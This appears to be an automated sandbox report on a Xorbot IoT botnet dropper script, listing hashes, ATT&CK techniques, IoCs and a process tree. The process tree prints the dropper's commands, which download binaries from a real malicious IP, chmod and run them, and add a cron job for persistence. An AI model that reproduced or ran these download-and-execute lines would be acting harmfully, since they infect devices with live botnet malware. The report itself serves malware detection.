xorbot | aeef0eb99ff7d1547783b933b305ce22b99df10165cb1ce3540b7f6f641cfce0

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18-02-2025 06:21

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General

Target

bins.sh
Size

10KB
MD5

ae6136121956abc1a50774d0506512be
SHA1

332e3005c23b53969233cc3687a2a218ba8c9e49
SHA256

aeef0eb99ff7d1547783b933b305ce22b99df10165cb1ce3540b7f6f641cfce0
SHA512

b29d1f2409339bdca9c2c3fddbbcf9536583ad60cc6cb5d1a089e9a96df4925a87f0df163dcfb4a6b07e728c431aa33bb8f22f5f7cf0dad76f082322741c571a
SSDEEP

192:aL63I16h6J6wnfJEuWT0szS6h6J6wnrKuWT0szn:aL63I16h6J6wnBEuWT0szS6h6J6wnuuw

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1958) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
742	chmod
749	chmod
771	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj	735	bins.sh
/tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT	743	bins.sh
/tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE	750	bins.sh
/tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE	772	bins.sh

Renames itself 1 IoCs

pid	Process
773	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.BHCQUe	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/243/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/862/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/920/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/965/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1033/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/16/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/152/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/883/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/898/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/900/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/923/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/932/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/966/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/20/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/82/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/867/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/876/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/897/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/674/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/844/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/854/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/888/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1002/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/989/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/77/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/399/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/402/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/947/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/949/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/840/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/873/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/902/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1027/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/877/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/974/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/975/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/980/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/126/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/914/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/984/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/994/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/791/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/918/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/946/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/998/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1030/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1012/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1035/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/2/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/10/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/176/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/868/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/908/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/934/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/990/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/995/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/334/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/872/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/885/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/911/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1013/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
File opened for reading	/proc/1021/cmdline	sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT	wget
File opened for modification	/tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT	curl
File opened for modification	/tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT	busybox
File opened for modification	/tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE	curl
File opened for modification	/tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE	busybox
File opened for modification	/tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE	busybox
File opened for modification	/tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj	wget
File opened for modification	/tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj	busybox
File opened for modification	/tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE	wget
File opened for modification	/tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE	wget
File opened for modification	/tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE	curl
File opened for modification	/tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://37.44.238.88/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  2⤵
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  2⤵
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  ./0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  2⤵
  PID:735
- /bin/rm
  rm 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
  2⤵
  PID:738
- /usr/bin/wget
  wget http://37.44.238.88/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  2⤵
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  ./Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  2⤵
  PID:743
- /bin/rm
  rm Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
  2⤵
  PID:745
- /usr/bin/wget
  wget http://37.44.238.88/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  ./B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  2⤵
  PID:750
- /bin/rm
  rm B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
  2⤵
  PID:752
- /usr/bin/wget
  wget http://37.44.238.88/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  2⤵
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod 777 sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  ./sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:772
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:774
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:776
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:777
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:778
- /bin/rm
  rm sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
  2⤵
  PID:792
- /usr/bin/wget
  wget http://37.44.238.88/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
  2⤵
  PID:795

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.BHCQUe

Filesize
210B

MD5
328df34ceee084e1cc7b251d9f3114e2

SHA1
fd5122d31f0ee6833e75203dfe88b4d490b527cd

SHA256
ea48453f7ab51066e7befdd5ec5cbbf524f9f99f64df970ada9d0f565072e476

SHA512
a0073222fa9fe8859ff0753c9904c9c5269a319cfd35833fc56bc9fed1e65c84a907d5061f12390d99f11f737c047180ff71e513a0dcc36d609371393d3b7555

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads